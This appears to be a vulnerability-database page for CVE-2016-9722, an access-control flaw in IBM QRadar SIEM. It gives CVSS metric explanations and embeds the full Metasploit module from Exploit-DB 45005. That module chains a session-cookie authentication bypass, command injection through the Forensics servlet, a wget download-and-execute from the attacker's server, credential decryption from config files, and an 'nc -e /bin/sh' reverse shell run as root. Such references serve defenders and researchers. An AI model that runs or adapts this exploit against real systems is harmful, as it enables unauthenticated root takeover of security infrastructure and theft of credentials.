CVE-2016-9722 : Detail

CVE-2016-9722

4.2
/
Medium
A01-Broken Access Control
0.11%V3
Network
2018-01-10
17h00 +00:00
2024-09-17
02h17 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

IBM QRadar 7.2 and 7.3 specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors. IBM X-Force ID: 119737.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-284 Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 4.2 MEDIUM CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 4.9 AV:N/AC:M/Au:S/C:P/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 45005

Publication date : 2018-07-10 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'securerandom' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'IBM QRadar SIEM Unauthenticated Remote Code Execution', 'Description' => %q{ IBM QRadar SIEM has three vulnerabilities in the Forensics web application that when chained together allow an attacker to achieve unauthenticated remote code execution. The first stage bypasses authentication by fixating session cookies. The second stage uses those authenticated sessions cookies to write a file to disk and execute that file as the "nobody" user. The third and final stage occurs when the file executed as "nobody" writes an entry into the database that causes QRadar to execute a shell script controlled by the attacker as root within the next minute. Details about these vulnerabilities can be found in the advisories listed in References. The Forensics web application is disabled in QRadar Community Edition, but the code still works, so these vulnerabilities can be exploited in all flavours of QRadar. This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8 patch 12 and 7.3.1 patch 3 are vulnerable. Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload. }, 'Author' => [ 'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'References' => [ ['CVE', '2016-9722'], ['CVE', '2018-1418'], ['CVE', '2018-1612'], ['URL', 'https://blogs.securiteam.com/index.php/archives/3689'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt'], ['URL', 'http://seclists.org/fulldisclosure/2018/May/54'], ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg22015797'] ], 'Targets' => [ [ 'IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11', {} ], ], 'Payload' => { 'Compat' => { 'ConnectionType' => 'reverse', } }, 'DefaultOptions' => { 'SSL' => true, # we can only run shell scripts, so set a reverse netcat payload by default # the payload that will be run is in the first few lines of @payload 'PAYLOAD' => 'generic/shell_reverse_tcp', }, 'DisclosureDate' => 'May 28 2018', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']), OptString.new('SRVPORT', [true, 'HTTP server port', '4448']), ]) end def check res = send_request_cgi({ 'uri' => '/ForensicsAnalysisServlet/', 'method' => 'GET' }) if res.nil? vprint_error 'Connection failed' return CheckCode::Unknown end if res.code == 403 return CheckCode::Detected end CheckCode::Safe rescue ::Rex::ConnectionError vprint_error 'Connection failed' return CheckCode::Unknown end # Handle incoming requests from QRadar def on_request_uri(cli, request) print_good("#{peer} - Sending privilege escalation payload to QRadar...") print_good("#{peer} - Sit back and relax, Shelly will come visit soon!") send_response(cli, @payload) end # step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet def set_cookies @sec_cookie = SecureRandom.uuid @csrf_cookie = SecureRandom.uuid post_data = "#{rand_text_alpha(5..12)},#{rand_text_alpha(5..12)}," + "#{@sec_cookie},#{@csrf_cookie}" res = send_request_cgi({ 'uri' => '/ForensicsAnalysisServlet/', 'method' => 'POST', 'ctype' => 'application/json', 'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};", 'vars_get' => { 'action' => 'setSecurityTokens', 'forensicsManagedHostIps' => "#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}" }, 'data' => post_data }) if res.nil? or res.code != 200 fail_with(Failure::Unknown, "#{peer} - Failed to set the SEC and QRadar CSRF cookies") end end def exploit print_status("#{peer} - Attempting to exploit #{target.name}") # run step 1 set_cookies # let's prepare step 2 (payload) and 3 (payload exec as root) @payload_name = rand_text_alpha_lower(3..5) root_payload = rand_text_alpha_lower(3..5) if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s service_uri = http_service + '/' + @payload_name print_status("#{peer} - Starting up our web service on #{http_service} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => "/#{@payload_name}" }}) @payload = %{#!/bin/bash # our payload that's going to be downloaded from our web server cat <<EOF > /store/configservices/staging/updates/#{root_payload} #!/bin/bash /usr/bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} & EOF ### below is adapted from /opt/qradar/support/changePasswd.sh [ -z $NVA_CONF ] && NVA_CONF="/opt/qradar/conf/nva.conf" NVACONF=`grep "^NVACONF=" $NVA_CONF 2> /dev/null | cut -d= -f2` FRAMEWORKS_PROPERTIES_FILE="frameworks.properties" FORENSICS_USER_FILE="config_user.xml" FORENSICS_USER_FILE_CONFIG="$NVACONF/$FORENSICS_USER_FILE" # get the encrypted db password from the config PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\w\\=\\+\\/]*)(?=<)'` QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}') AU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-) P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-) AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-` #if 7.2.8 or greater, use new method for hashing and salting passwords if [[ $QVERSION -gt 727 || -z "$AESKEY" ]] then PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED})) [ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255 else PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED` [ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255 fi PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c \ "insert into autoupdate_patch values ('#{root_payload}',#{rand(1000)+100},'minor',false,#{rand(9999)+100},0,'',1,false,'','','',false)" # kill ourselves! (sleep 2 && rm -- "$0") & } # let's do step 2 then, ask QRadar to download and execute our payload print_status("#{peer} - Asking QRadar to download and execute #{service_uri}") exec_cmd = "$(mkdir -p /store/configservices/staging/updates && wget --no-check-certificate -O " + "/store/configservices/staging/updates/#{@payload_name} #{service_uri} && " + "/bin/bash /store/configservices/staging/updates/#{@payload_name})" payload_step2 = "pcap[0][pcap]" + "=/#{rand_text_alpha_lower(2..6) + '/' + rand_text_alpha_lower(2..6)}" + "&pcap[1][pcap]=#{Rex::Text::uri_encode(exec_cmd, 'hex-all')}" uri_step2 = "/ForensicsAnalysisServlet/?forensicsManagedHostIps" + "=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true" res = send_request_cgi({ 'uri' => uri_step2 + '&' + payload_step2, 'method' => 'GET', 'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};", }) # now we just sit back and wait for step 2 payload to be downloaded and executed # ... and then step 3 to complete. Let's give it a little more than a minute. Rex.sleep 80 end end

Products Mentioned

Configuraton 0

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.0

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.1

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.2

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.3

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.4

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.5

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.6

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.7

Ibm>>Qradar_security_information_and_event_manager >> Version 7.2.8

Ibm>>Qradar_security_information_and_event_manager >> Version 7.3.0

References

https://www.exploit-db.com/exploits/45005/
Tags : exploit, x_refsource_EXPLOIT-DB